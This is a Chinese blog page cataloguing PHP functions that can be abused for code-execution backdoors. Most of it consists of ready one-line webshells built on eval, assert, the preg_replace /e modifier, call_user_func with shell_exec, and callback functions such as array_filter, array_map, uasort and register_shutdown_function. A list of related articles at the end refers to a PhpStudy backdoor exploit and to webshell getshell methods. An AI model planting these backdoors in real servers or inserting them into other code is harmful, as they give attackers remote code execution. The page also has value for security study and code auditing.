PHP常见代码执行后门函数

代码执行:

应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

常见php代码执行函数介绍

常用执行代码函数

1、eval():

<?php @eval($_POST['hacker']); ?>

eval函数将接受的字符串当做代码执行

2、 assert():

用法和 eval()一样

<?php @assert($_POST['hacker']); ?>

3、preg_replace():

<?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?>

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行

4、 create_function():

 <?php

$newfun = create_function('$hacker', 'echo $hacker;');

$newfun('woaini');
?>

创建了一个匿名函数,并返回了一个独一无二的函数名

5、 call_user_func():

<?php
echo call_user_func('shell_exec','whoami');
?> <?php
call_user_func_array('assert', array($_POST['pass']));
?>

函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数

6、更多回调函数

call_user_func_array()

call_user_func()

array_filter() 

array_walk() array_map()

registregister_shutdown_function()

register_tick_function()

filter_var() 

filter_var_array() 

uasort() 

uksort() 

array_reduce()

array_walk() 

array_walk_recursive()

<?php forward_static_call_array(assert,array($_POST[x]));?>

解释:把函数作为参数传入进另一个函数中使用。


call_user_func

把第一个参数作为回调函数调用

call_user_func_array

调用回调函数,并把一个数组参数作为回调函数的参数

usort

使用用户自定义的比较函数对数组中的值进行排序

register_shutdown_function

<?php register_shutdown_function('assert','phpinfo();');?>

注册一个会在php中止时执行的函数

array_map

为数组的每个元素应用回调函数

array_walk

使用用户自定义函数对数组中的每个元素做回调处理

array_filter

用回调函数过滤数组中的单元

array_reduce

用回调函数迭代地将数组简化为单一的值

array_udiff

用回调函数比较数据来计算数组的差集

array_uintersect

计算数组的交集,用回调函数比较数据

array_diff_uassoc

用用户提供的回调函数做索引检查来计算数组的差集

array_diff_ukey

用回调函数对键名比较计算数组的差集

例子:

<?php

//数组回调进行构造后门
$arr=array($_POST['pass']);
array_filter($arr,'assert');
array_map('assert', $arr);
uasort($arr, 'assert');
//等等,用回调函数进行构造
?>

PHP常见代码执行后门函数的更多相关文章

  1. PhpStudy代码执行后门

    0x00 概述 只需要两个参数 Accept-Encoding: gzip,deflate Accept-Charset: Base64编码(PHP代码) 0x01 利用代码 加群可以下载:87369 ...

  2. 将字符串当做是php代码执行的函数eavl()

  3. PHP代码执行函数总结

    PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳. 常见代码执行函数,如 eval().assert().preg_replace().create ...

  4. Pikachu-RCE(远程命令/代码执行漏洞)

    RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行一般出现这种漏洞,是因为 ...

  5. PHP安全(文件包含、变量覆盖、代码执行)

    文件包含漏洞 本地文件包含 截断技巧: ../../etc/passwd%00(\x00 \0) 利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的.目录字符串,在windows下25 ...

  6. 菜刀(代码执行)函数和命令执行函数详解及Getshell方法

    i春秋作家:大家奥斯的哦 原文来自:https://bbs.ichunqiu.com/thread-41471-1-1.html 代码执行函数 VS 命令执行函数 一直想整理这两块的内容,但是一直没时 ...

  7. php中代码执行&&命令执行函数

    转自i春秋 1.eval()函数 #传入的参数必须为PHP代码,既需要以分号结尾. #命令執行:cmd=system(whoami); #菜刀连接密码:cmd <?php @eval($_POS ...

  8. 【随笔】菜刀(代码执行)函数和命令执行函数详解及Getshell方法

    代码执行函数 VS 命令执行函数 一直想整理这两块的内容,但是一直没时间弄,直到前两天碰上一个写入了菜刀马但是死活连不上菜刀的站,顿时不知道怎么继续了,所以就趁这个机会整理了一下代码执行函数怎么get ...

  9. MySQL (九)-- 代码执行结构、函数、存储过程

    1 代码执行结构 代码执行结构有三种:顺序结构.分支结构和循环结构. 1.1 分支结构 分支结构:实现准备多个代码块,按照条件选择性执行某段代码. 在MySQL中只有if分支. 基本语法 if 条件判 ...

随机推荐

  1. 异数OS TCP协议栈测试(二)--短连接篇

    异数OS TCP协议栈测试(二)--短连接篇 本文来自异数OS社区 github:   异数OS-织梦师(消息中间件)群: 476260389 测试目标 TCP 短链接IO性能测试,Client Se ...

  2. spring Cloud-eureka的保护模式

    eureka的首页出现以下警告 EMERGENCY! EUREKA MAY BE INCORRECTLY CLAIMING INSTANCES ARE UP WHEN THEY'RE NOT. REN ...

  3. 机器学习- Sklearn (交叉验证和Pipeline)

    前面一节咱们已经介绍了决策树的原理已经在sklearn中的应用.那么这里还有两个数据处理和sklearn应用中的小知识点咱们还没有讲,但是在实践中却会经常要用到的,那就是交叉验证cross_valid ...

  4. spring.net 基础 1

    Spring.NET是一个应用程序框架,其目的是协助开发人员创建企业级的.NET应用程序 1: 在2004年初,Martin Fowler曾经问他网站的读者:当我们谈到控制反转时,"问题是, ...

  5. Doxygen -- part 2

    Documenting the code 这个章节涵盖两个主题: 如何在你的代码中放置注释, 一遍doxygen可以在生成的文档中囊括它们. 如何组织一个注释块的内容, 以使得输出美观. 特殊注释块 ...

  6. .Net Core建站(2):EF Core+CodeFirst数据库迁移

    上一篇的话,说了下怎么使用EF7 实现 CodeFirst去生成数据库, 其实还有好多问题的,这次一点一点的解决吧,都挺简单,不过零零散散的,, 1.读取配置文件,获得链接字符串 2.使用数据库进行增 ...

  7. NVIDIA DRIVE

      NVIDIA 驱动安装(超详细) ref1: https://blog.csdn.net/qlulibin/article/details/78714596 ref2:https://www.cn ...

  8. css的字体单位

    在css中的字体单位主要以px.em.rem为主.其中px也就是像素,是一种字体长度,它的长度是相对于显示器的品目分辨率而言的.一般情况下在浏览器中默认字体的大小是16px.其中em是相对字体.em的 ...

  9. Dart语言学习(十二) Dart面向对象

    Dart作为一种高级语言,支持面向对象的很多特性,并且支持基于mixin的继承方式. 基于mixin的继承方式是指:一个类可以继承自多个父类,相当于其他语言里的多继承. 所有的类都有同一个基类Obje ...

  10. Spring整合Spring-data-jpa项目所遇到的坑

    1.异常信息: 错误原因:缺少spring-aop包 解决: <dependency> <groupId>org.springframework</groupId> ...